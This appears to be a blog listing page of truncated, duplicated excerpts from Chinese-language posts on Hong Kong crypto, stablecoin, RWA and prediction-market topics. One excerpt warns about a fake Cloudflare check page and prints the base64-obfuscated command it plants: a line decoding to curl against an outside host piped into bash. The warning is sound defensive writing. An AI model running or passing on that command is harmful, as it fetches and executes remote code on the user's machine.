2026年被譽為「Year of Tokenization」，以美國金融市場為首，已經有很多基金、商品、債券、甚至股票變成RWA（Real World Asset）代幣。香港市場自2022年已經開始討論要推行代幣化，但以往的案例不是規模太小就是缺乏新鮮感和創意，例如匯豐的黃金代幣，Franklin Templeton的Tokenized MMF等就是屬於這類雞肋。產品不夠吸引，自然會比較少資金和投資者參與，效果事倍功半。 毅盛金融科技(證券)(Esperanza證券)宣布，其代幣化投資業務本月13日獲香港證監會許可，公司將進一步推出以現場娛樂產業資產為核心的投資代幣模式。 該模式透過公司管理的投資基金發行證券型代幣，讓合資格投資者以小份額參與投資，並可在二級市場進行交易。 Esperanza證券在獲監管許可下，推出兩個代幣化娛樂投資項目，包括3月6日至7日在紅館舉行的《黃凱芹40年來香港演唱會2026》，以及4月11日在馬來西亞舉行的韓國男團演唱會。 公司表示，在全球實體資產數字化趨勢下，此舉是亞太區少數系統性聚焦娛樂產業投資代幣化的嘗試。 - source: https://w...

2026年被譽為「Year of Tokenization」，以美國金融市場為首，已經有很多基金、商品、債券、甚至股票變成RWA（Real World Asset）代幣。香港市場自2022年已經開始討論要推行代幣化，但以往的案例不是規模太小就是缺乏新鮮感和創意，例如匯豐的黃金代幣，Franklin Templeton的Tokenized MMF等就是屬於這類雞肋。產品不夠吸引，自然會比較少資金和投資者參與，效果事倍功半。 毅盛金融科技(證券)(Esperanza證券)宣布，其代幣化投資業務本月13日獲香港證監會許可，公司將進一步推出以現場娛樂產業資產為核心的投資代幣模式。 該模式透過公司管理的投資基金發行證券型代幣，讓合資格投資者以小份額參與投資，並可在二級市場進行交易。 Esperanza證券在獲監管許可下，推出兩個代幣化娛樂投資項目，包括3月6日至7日在紅館舉行的《黃凱芹40年來香港演唱會2026》，以及4月11日在馬來西亞舉行的韓國男團演唱會。 公司表示，在全球實體資產數字化趨勢下，此舉是亞太區少數系統性聚焦娛樂產業投資代幣化的嘗試。 - source: https://w...

CRCL 跌是天經地義的，高位跌一半也完全正常。 一個粗疏但有效的指標：USDC市值76B，只賺了214M USDT市值183B，賺了4.3B Tether賺錢能力接近10x CRCL 這個10倍差異就是監管套戥（regulation arbitrage）的效果。 USDC比較合規，USDT比較不合規，在各種意義上，不考慮合規性，自由度就比較大，生意就更靈活，賺錢至上。 市場經常用Tether來說明穩定幣公司會賺暴利，這根本不是apple to apple，我們現在說的FRS（fiat referenced stablecoin）通常都是指完全合法合規的穩定幣。 要知道CIRCLE也還未完全按照GENIUS ACT運作，一旦完全合規，恐怕成本會再升上去，蠶食更多的利潤。假如我們說新的合規穩定幣，市值比起CIRCLE更小的話，那個Profit／Cap ration將會更差。理論上穩定幣市值越大，發行商利潤就越高，事實上的確如是，但大如USDC，那個比率也只有0.28%（1季），這就是現實。假如你認為鎖著這麼多的美元，經過一年的時間，結果賺到了 4×0.28% ～ 1.2% 盈利（當...

CRCL 跌是天經地義的，高位跌一半也完全正常。 一個粗疏但有效的指標：USDC市值76B，只賺了214M USDT市值183B，賺了4.3B Tether賺錢能力接近10x CRCL 這個10倍差異就是監管套戥（regulation arbitrage）的效果。 USDC比較合規，USDT比較不合規，在各種意義上，不考慮合規性，自由度就比較大，生意就更靈活，賺錢至上。 市場經常用Tether來說明穩定幣公司會賺暴利，這根本不是apple to apple，我們現在說的FRS（fiat referenced stablecoin）通常都是指完全合法合規的穩定幣。 要知道CIRCLE也還未完全按照GENIUS ACT運作，一旦完全合規，恐怕成本會再升上去，蠶食更多的利潤。假如我們說新的合規穩定幣，市值比起CIRCLE更小的話，那個Profit／Cap ration將會更差。理論上穩定幣市值越大，發行商利潤就越高，事實上的確如是，但大如USDC，那個比率也只有0.28%（1季），這就是現實。假如你認為鎖著這麼多的美元，經過一年的時間，結果賺到了 4×0.28% ～ 1.2% 盈利（當...

以下是一種假的 Cloudflare 認證攻擊方式，如果你想點擊連結了解更多，請小心！！！The History of StablecoinsThis article follows the history of stablecoins from its origination only five years after Satoshi Nakamoto's Bitcoin, 2014, through to today.https://www.deltecbank.com這個假的檢查頁面會要求你在終端機中進行一些複製和貼上。它看起來非常類似我們平常看到的 Cloudflare 頁面。文字顯示是「我不是機器人：Cloudflare 驗證 ID：715921」，但是當你按下複製時，你實際複製的是： echo "Y3VybCAtcyBodHRwczovL2dhbW1hLnNlY3VyZWFwaW1pZGRsZXdhcmUuY29tL3N0cml4L2luZGV4LnBocCB8IG5vaHVwIGJhc2ggJg==" | base64 -d | bash 經過 base6...

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Google今天27歲生日～ 27年來Google有很多成功的產品，當然也有半途而廢的失敗產品。 作為Google死忠fans，由Google誕生沒多久，我就一直使用Google。契機是大學的師兄介紹，我很快就被他的強大和簡潔吸引，後來所有Google產品我都有支持過，例如人所共知的Google Glass和根本沒有人知的Google Wave。 當年Gmail出生時，不是像今天人人能免費開戶，他採用完全的邀請制，有邀請才能開戶。有invite的人除了會在ebay炒賣invite之外，還會post在forum要求那些想要invite的人做一些事情去換取邀請，當年有個網站叫gmailswap，就是專門給人拿邀請的。有些人會要求寄明信片，有些人會要求送啤酒，我當年就寫了一個女孩的名字在胸口上去換取邀請。。。很多人那時候還沒出生。gmailswap.com說回正題，我第一次真心想Google的產品失敗，這個產品就是GCUL Google Cloud Universal Ledger。 我經常說，在這個時代最應該當銀行的是Google，因為銀行現在根本就是一間IT公司。錢是電子的，數據就...

Google今天27歲生日～ 27年來Google有很多成功的產品，當然也有半途而廢的失敗產品。 作為Google死忠fans，由Google誕生沒多久，我就一直使用Google。契機是大學的師兄介紹，我很快就被他的強大和簡潔吸引，後來所有Google產品我都有支持過，例如人所共知的Google Glass和根本沒有人知的Google Wave。 當年Gmail出生時，不是像今天人人能免費開戶，他採用完全的邀請制，有邀請才能開戶。有invite的人除了會在ebay炒賣invite之外，還會post在forum要求那些想要invite的人做一些事情去換取邀請，當年有個網站叫gmailswap，就是專門給人拿邀請的。有些人會要求寄明信片，有些人會要求送啤酒，我當年就寫了一個女孩的名字在胸口上去換取邀請。。。很多人那時候還沒出生。gmailswap.com說回正題，我第一次真心想Google的產品失敗，這個產品就是GCUL Google Cloud Universal Ledger。 我經常說，在這個時代最應該當銀行的是Google，因為銀行現在根本就是一間IT公司。錢是電子的，數據就...

最近Monero成為了Qubic的實驗室，Qubic利誘礦工，成功掌控了Monero超過51%的算力。Qubic並不是駭客，雖然已經可以發動雙花攻擊（Double Spending），但最終Qubic只是令部分block的交易取消，事件中沒有用戶損失。假如Qubic真的要作惡，肯定能夠成功，故此雖然沒有經濟損失，加密貨幣社群還是非常關注事件的危險性。Qubic成功改寫XMR帳簿Qubic是一個AI L1項目，透過uPoW（useful Proof of Work）方式可以將PoW工作outsource。Qubic看中了Monero的RandomX（也是一種PoW算法），以Qubic的原生幣作報酬發出RandomX的工作。由於這個工作報酬比起在Monero挖礦更為可觀，而且算法與Monero一致，XMR礦工因為這個經濟效益自然轉投Qubic網絡，而離開XMR網路。此消彼長之下，Qubic算力隨著礦工加入增加，原來的XMR網絡算力就節節下跌，造成Qubic最終擁有超過一半XMR的算力。市場稱此為economic attack，或是vampire attack，有如吸血鬼一般，用利益在...

最近Monero成為了Qubic的實驗室，Qubic利誘礦工，成功掌控了Monero超過51%的算力。Qubic並不是駭客，雖然已經可以發動雙花攻擊（Double Spending），但最終Qubic只是令部分block的交易取消，事件中沒有用戶損失。假如Qubic真的要作惡，肯定能夠成功，故此雖然沒有經濟損失，加密貨幣社群還是非常關注事件的危險性。Qubic成功改寫XMR帳簿Qubic是一個AI L1項目，透過uPoW（useful Proof of Work）方式可以將PoW工作outsource。Qubic看中了Monero的RandomX（也是一種PoW算法），以Qubic的原生幣作報酬發出RandomX的工作。由於這個工作報酬比起在Monero挖礦更為可觀，而且算法與Monero一致，XMR礦工因為這個經濟效益自然轉投Qubic網絡，而離開XMR網路。此消彼長之下，Qubic算力隨著礦工加入增加，原來的XMR網絡算力就節節下跌，造成Qubic最終擁有超過一半XMR的算力。市場稱此為economic attack，或是vampire attack，有如吸血鬼一般，用利益在...

RWA（Real World Asset 現實世界資產）以前叫STO（Security Token Offering證券型代幣發行），起初是用代幣替代傳統股票的IPO（Initial Public Offering股票上市），向公眾籌集資金之用。近年因為美國證監前任主席Gary Gensler實行高壓監管，「證券」和「代幣」變成了禁語，後來市場就改用了「RWA」，直覺上好像沒有那麼大問題。RWA幾乎沒有技術含量RWA代幣的價值來自現實世界的資產，如何證明在鏈上買了一個幣就等於現實世界擁有那個資產，是最關鍵的問題。一般代幣的價值，大都牽涉智能合約，智能合約可以用程式碼控制底層的加密貨幣資產，完全可以做到Code Is Law。一旦代幣價值涉及現實世界，程式碼將無法管治現實世界的資產，要證明RWA代幣價值，必須要用回舊世代的法律，因為現實的產權就是靠Law來決定的。所以RWA的重點是「法規」，如何用法律框架，法人結構保證RWA代幣與現實世界產權的連結就是整個RWA的核心。RWA側重在合規和法律條文，是一種RegTech（Regulation Technology），通常涉及發行人的發...

RWA（Real World Asset 現實世界資產）以前叫STO（Security Token Offering證券型代幣發行），起初是用代幣替代傳統股票的IPO（Initial Public Offering股票上市），向公眾籌集資金之用。近年因為美國證監前任主席Gary Gensler實行高壓監管，「證券」和「代幣」變成了禁語，後來市場就改用了「RWA」，直覺上好像沒有那麼大問題。RWA幾乎沒有技術含量RWA代幣的價值來自現實世界的資產，如何證明在鏈上買了一個幣就等於現實世界擁有那個資產，是最關鍵的問題。一般代幣的價值，大都牽涉智能合約，智能合約可以用程式碼控制底層的加密貨幣資產，完全可以做到Code Is Law。一旦代幣價值涉及現實世界，程式碼將無法管治現實世界的資產，要證明RWA代幣價值，必須要用回舊世代的法律，因為現實的產權就是靠Law來決定的。所以RWA的重點是「法規」，如何用法律框架，法人結構保證RWA代幣與現實世界產權的連結就是整個RWA的核心。RWA側重在合規和法律條文，是一種RegTech（Regulation Technology），通常涉及發行人的發...

香港穩定幣5月三讀通過，假如你去看政府喉舌，業界代表的意見，一面倒全面看好，簡直好到不能再正面了。這是香港的現實，交易所牌照（VASP／VATP）、ETF推出時，市場都是牛氣沖天，說到香港會成為世界加密中心，要todamoon了。結果有目共睹，交易所面臨資金斷裂、ETF無人問津，這些我早已預測並在此寫過。這次當然也不會例外，也只會是對市場毫無實際影響的搭棚工程。 我們先來了解下，世界各地政府對穩定幣立法的情況。環球穩定幣總市值超越了2000億美金，約一些小國的貨幣M2總值，每日穩定幣轉賬金額約200億美金，可見穩定幣已經成為一個政府無法忽視的金融產品。假如穩定幣系統發生任何黑天鵝事故，將會對傳統金融、甚至環球經濟造成不少的影響。故此過去幾年各地監管機構陸續推出新法案監管穩定幣的發行和使用，是一種與時並進，同時也是一種迫於無奈。下列是一些地區的法案：2019 Singapore Payment Services Act2022 Japan Payment Services Act2024 EU Markets in Crypto-Assets (MiCA)2025 HK Stabl...

香港穩定幣5月三讀通過，假如你去看政府喉舌，業界代表的意見，一面倒全面看好，簡直好到不能再正面了。這是香港的現實，交易所牌照（VASP／VATP）、ETF推出時，市場都是牛氣沖天，說到香港會成為世界加密中心，要todamoon了。結果有目共睹，交易所面臨資金斷裂、ETF無人問津，這些我早已預測並在此寫過。這次當然也不會例外，也只會是對市場毫無實際影響的搭棚工程。 我們先來了解下，世界各地政府對穩定幣立法的情況。環球穩定幣總市值超越了2000億美金，約一些小國的貨幣M2總值，每日穩定幣轉賬金額約200億美金，可見穩定幣已經成為一個政府無法忽視的金融產品。假如穩定幣系統發生任何黑天鵝事故，將會對傳統金融、甚至環球經濟造成不少的影響。故此過去幾年各地監管機構陸續推出新法案監管穩定幣的發行和使用，是一種與時並進，同時也是一種迫於無奈。下列是一些地區的法案：2019 Singapore Payment Services Act2022 Japan Payment Services Act2024 EU Markets in Crypto-Assets (MiCA)2025 HK Stabl...

比特幣2009年誕生，經過16年的努力，數碼黃金的地位終於被確立。由美國帶頭，世界各國大小政府、金融機構、上市公司都紛紛購入作為儲備或長線投資之用。截至2025年5月尾，機構、政府、ETF已經買入了超過300萬顆BTC，佔總供應量的1／7。https://bitcointreasuries.net/比特幣的傳教活動，我認為已經達到一個重大的里程碑了。當這個narrative完成了，下一個戰線就是區塊鏈技術的延伸－去中心化金融。 比特幣類比黃金，而很多人會類比以太坊為石油，因為ETH gas的概念就是源於汽油。最近我重新思考了這個比喻，確實有點不對，ETH真正對上的是「整個金融系統」才對。金融系統讓所有的金融活動得以順利進行，例如買賣黃金我們大都會打錢入金融機構，讓他們代我們在適當價位買入，而不會到金行或找個網上不認識的人去p2p買入。金融系統依賴交易手續費維持，只要有人做交易，只要有流行的資產，無論哪一個時空，金融系統都能永垂不朽。哪怕是明天黃金和比特幣都不流行、人們總會找到另一個有趣的資產，在金融系統上用資本賺取更多的資本，創造各種槓桿和泡沫。雖然好像不能比較，但金融系統的重要...

比特幣2009年誕生，經過16年的努力，數碼黃金的地位終於被確立。由美國帶頭，世界各國大小政府、金融機構、上市公司都紛紛購入作為儲備或長線投資之用。截至2025年5月尾，機構、政府、ETF已經買入了超過300萬顆BTC，佔總供應量的1／7。https://bitcointreasuries.net/比特幣的傳教活動，我認為已經達到一個重大的里程碑了。當這個narrative完成了，下一個戰線就是區塊鏈技術的延伸－去中心化金融。 比特幣類比黃金，而很多人會類比以太坊為石油，因為ETH gas的概念就是源於汽油。最近我重新思考了這個比喻，確實有點不對，ETH真正對上的是「整個金融系統」才對。金融系統讓所有的金融活動得以順利進行，例如買賣黃金我們大都會打錢入金融機構，讓他們代我們在適當價位買入，而不會到金行或找個網上不認識的人去p2p買入。金融系統依賴交易手續費維持，只要有人做交易，只要有流行的資產，無論哪一個時空，金融系統都能永垂不朽。哪怕是明天黃金和比特幣都不流行、人們總會找到另一個有趣的資產，在金融系統上用資本賺取更多的資本，創造各種槓桿和泡沫。雖然好像不能比較，但金融系統的重要...

在香港各種政府的政策文件、法律條文、甚至投資者教育的資料中，經常出現一句每次都搬字過紙的句子－『許多虛擬資產並無任何內在價值』。先不討論這句子的對錯，就香港近年的金融市場而言，虛擬資產交易所牌照和穩定幣牌照制度已經實施，虛擬資產交易服務和託管的牌照也在立法過程之中，假如虛擬資產真的『並無任何內在價值』，政府和金融業難道一直都在浪費時間，還是主動在推廣騙局，推投資者落坑，成為割韮菜、龐氏騙局的受害者？這種表面支持，實際態度卻又相反的表裏不一，實在難以令市場投入資金到新市場。 香港貴為國際金融中心，在2024年，加密貨幣現貨ETF產品甚至比美國華爾街更早面世，領先全球。香港財金官員經常將此掛在口邊，像是一個值得炫耀的偉業。然而論香港ETF一年的總交投量，比美國ETF一天的量還要差，差距以千倍計。客觀數字，2025年香港比特幣ETF的比特幣流動量在接近9成的日子都是零雞蛋，相比起美國，每天的平均流動量是幾十億美元。其實2022年政府已經發表政策宣言，確立未來香港會成為國際虛擬資產中心的方向。4年過後的今天，整體市場規模比起鄰近的日本、南韓甚至東南亞小國都要小。 這種雷聲大雨點小的結局，...

在香港各種政府的政策文件、法律條文、甚至投資者教育的資料中，經常出現一句每次都搬字過紙的句子－『許多虛擬資產並無任何內在價值』。先不討論這句子的對錯，就香港近年的金融市場而言，虛擬資產交易所牌照和穩定幣牌照制度已經實施，虛擬資產交易服務和託管的牌照也在立法過程之中，假如虛擬資產真的『並無任何內在價值』，政府和金融業難道一直都在浪費時間，還是主動在推廣騙局，推投資者落坑，成為割韮菜、龐氏騙局的受害者？這種表面支持，實際態度卻又相反的表裏不一，實在難以令市場投入資金到新市場。 香港貴為國際金融中心，在2024年，加密貨幣現貨ETF產品甚至比美國華爾街更早面世，領先全球。香港財金官員經常將此掛在口邊，像是一個值得炫耀的偉業。然而論香港ETF一年的總交投量，比美國ETF一天的量還要差，差距以千倍計。客觀數字，2025年香港比特幣ETF的比特幣流動量在接近9成的日子都是零雞蛋，相比起美國，每天的平均流動量是幾十億美元。其實2022年政府已經發表政策宣言，確立未來香港會成為國際虛擬資產中心的方向。4年過後的今天，整體市場規模比起鄰近的日本、南韓甚至東南亞小國都要小。 這種雷聲大雨點小的結局，...

在互聯網時代，「銀行」的定義已經被大幅改寫。銀行再不只是管理實體貨幣，銀行已經變成一家IT公司。你存入銀行的紙鈔，是以電腦數據紀錄為準；你的收入支出，只要是透過銀行網絡完成的交易，全部都是由0和1組成的電腦數據。銀行最重要的責任，就是確保電腦系統正常安全地運作。 像Binance這種過往被定義為加密貨幣交易所的公司，在世界各地漸漸擔起了銀行的角色。例如近期大家關注的委內瑞拉就是一例。委內瑞拉國民因國家貨幣結構性問題被逼轉用美元穩定幣，日常生活支付都離不開幣安。銀行廣義來說就是一種貨幣的中介，僅此而已。穩定幣的結算速度已經被驗證多年，速度提升對用戶自然是好的，但這意味著錢停留在銀行的時間減少，銀行從中賺取的利息也會減少。多份研究和銀行業報告指出，穩定幣若大規模採用，可能導致銀行存款流失、信貸供給減少，甚至威脅社區銀行的放貸能力。有些估計，若穩定幣規模達數兆美元，可能從全球銀行體系抽走大量存款。這是其中一個傳統銀行抗拒穩定幣的根本原因。 在電腦系統角度，穩定幣對銀行最有價值的一點，其實是精簡或甚至消除銀行內部架構複雜、技術棧老舊的記帳與核數系統。眾所週知現時銀行系統內有極大部分舊有系...

在互聯網時代，「銀行」的定義已經被大幅改寫。銀行再不只是管理實體貨幣，銀行已經變成一家IT公司。你存入銀行的紙鈔，是以電腦數據紀錄為準；你的收入支出，只要是透過銀行網絡完成的交易，全部都是由0和1組成的電腦數據。銀行最重要的責任，就是確保電腦系統正常安全地運作。 像Binance這種過往被定義為加密貨幣交易所的公司，在世界各地漸漸擔起了銀行的角色。例如近期大家關注的委內瑞拉就是一例。委內瑞拉國民因國家貨幣結構性問題被逼轉用美元穩定幣，日常生活支付都離不開幣安。銀行廣義來說就是一種貨幣的中介，僅此而已。穩定幣的結算速度已經被驗證多年，速度提升對用戶自然是好的，但這意味著錢停留在銀行的時間減少，銀行從中賺取的利息也會減少。多份研究和銀行業報告指出，穩定幣若大規模採用，可能導致銀行存款流失、信貸供給減少，甚至威脅社區銀行的放貸能力。有些估計，若穩定幣規模達數兆美元，可能從全球銀行體系抽走大量存款。這是其中一個傳統銀行抗拒穩定幣的根本原因。 在電腦系統角度，穩定幣對銀行最有價值的一點，其實是精簡或甚至消除銀行內部架構複雜、技術棧老舊的記帳與核數系統。眾所週知現時銀行系統內有極大部分舊有系...

延續上文，普羅大眾因政府態度取向，自然也先入為主，認為虛擬資產並無「內在價值」，實屬無可厚非。然而什麼是價值？什麼是內在價值？以黃金為例，普遍被認為有價值，但黃金的內在價值其實比大眾想像的要低得多。黃金有著極佳的導電、拉伸、壓薄、防銹抗菌等性能，通常被使用在科技產品或醫療工具行業。就科技產品而言，銀和銅有更高的導電性能，在黃金價格居高不下的時代，黃金一般會被換掉。根據統計數字，每年黃金年產量中，只有低於10%的黃金會投入以上工業用途，其餘90%以上都是用作金條和飾金用途。若論黃金的「實際價值」的話，黃金價格打一折就偷笑了。 再論美金，金本位政策早已不復存在，為什麼人們明知美國債台高築，美金背後沒有資產背書，它的「內在價值」不應該是負數嗎？但各大金融機構還是以買美國國債為最穩健投資方式，各大小國家國際貿易還是使用美金，美金依然是世界最通行的貨幣，沒有之一。美金的價值來自它的信譽、經濟實力和全球需求，美軍軍力自然也是實力之一。這些捉摸不到的價值，就是它的價值，市場會自然調節，給予它合適的價格。 價值源自共識，越多人同意一件事物有價值，這件事物的價值就越高。人類歷史幾千年，古今中外都認...

延續上文，普羅大眾因政府態度取向，自然也先入為主，認為虛擬資產並無「內在價值」，實屬無可厚非。然而什麼是價值？什麼是內在價值？以黃金為例，普遍被認為有價值，但黃金的內在價值其實比大眾想像的要低得多。黃金有著極佳的導電、拉伸、壓薄、防銹抗菌等性能，通常被使用在科技產品或醫療工具行業。就科技產品而言，銀和銅有更高的導電性能，在黃金價格居高不下的時代，黃金一般會被換掉。根據統計數字，每年黃金年產量中，只有低於10%的黃金會投入以上工業用途，其餘90%以上都是用作金條和飾金用途。若論黃金的「實際價值」的話，黃金價格打一折就偷笑了。 再論美金，金本位政策早已不復存在，為什麼人們明知美國債台高築，美金背後沒有資產背書，它的「內在價值」不應該是負數嗎？但各大金融機構還是以買美國國債為最穩健投資方式，各大小國家國際貿易還是使用美金，美金依然是世界最通行的貨幣，沒有之一。美金的價值來自它的信譽、經濟實力和全球需求，美軍軍力自然也是實力之一。這些捉摸不到的價值，就是它的價值，市場會自然調節，給予它合適的價格。 價值源自共識，越多人同意一件事物有價值，這件事物的價值就越高。人類歷史幾千年，古今中外都認...

去中心化預測市場（Decentralized Prediction Markets，簡稱DePM）近年來如一股新浪潮，席捲全球新聞與金融領域。2024年美國總統大選中，Polymarket 等平台準確預測特朗普勝出，準確度遠超傳統民調的膠著預估。而在2026年超級碗賽事，Polymarket和Kalshi等平台的總交易量超過15億美元，遠超拉斯維加斯傳統賭盤的規模，顯示預測市場已成為主流投注力量。這種「料事如神」的表現，吸引大量資金與關注。 DePM是一種基於區塊鏈技術的開放平台，讓參與者透過買賣合約預測未來事件結果。事件範圍廣泛，包括政治選舉、體育比賽、經濟指標、天氣變化、科技發展乃至地緣政治衝突。與傳統預測不同，DePM使用智能合約自動執行結算，無需中心化機構仲裁或託管資金，將第三者風險減到最低。參與者通常以穩定幣作為媒介，交易「是」或「否」合約。例如，若合約價格為0.60美元，即市場估計發生機率為60%。事件發生時，正確一方獲1美元，錯誤一方損失本金。這不僅是預測，更是資訊聚合機制，價格反映全球參與者的集體判斷。主流平台如Polymarket和Kalshi，2025年總交易...

去中心化預測市場（Decentralized Prediction Markets，簡稱DePM）近年來如一股新浪潮，席捲全球新聞與金融領域。2024年美國總統大選中，Polymarket 等平台準確預測特朗普勝出，準確度遠超傳統民調的膠著預估。而在2026年超級碗賽事，Polymarket和Kalshi等平台的總交易量超過15億美元，遠超拉斯維加斯傳統賭盤的規模，顯示預測市場已成為主流投注力量。這種「料事如神」的表現，吸引大量資金與關注。 DePM是一種基於區塊鏈技術的開放平台，讓參與者透過買賣合約預測未來事件結果。事件範圍廣泛，包括政治選舉、體育比賽、經濟指標、天氣變化、科技發展乃至地緣政治衝突。與傳統預測不同，DePM使用智能合約自動執行結算，無需中心化機構仲裁或託管資金，將第三者風險減到最低。參與者通常以穩定幣作為媒介，交易「是」或「否」合約。例如，若合約價格為0.60美元，即市場估計發生機率為60%。事件發生時，正確一方獲1美元，錯誤一方損失本金。這不僅是預測，更是資訊聚合機制，價格反映全球參與者的集體判斷。主流平台如Polymarket和Kalshi，2025年總交易...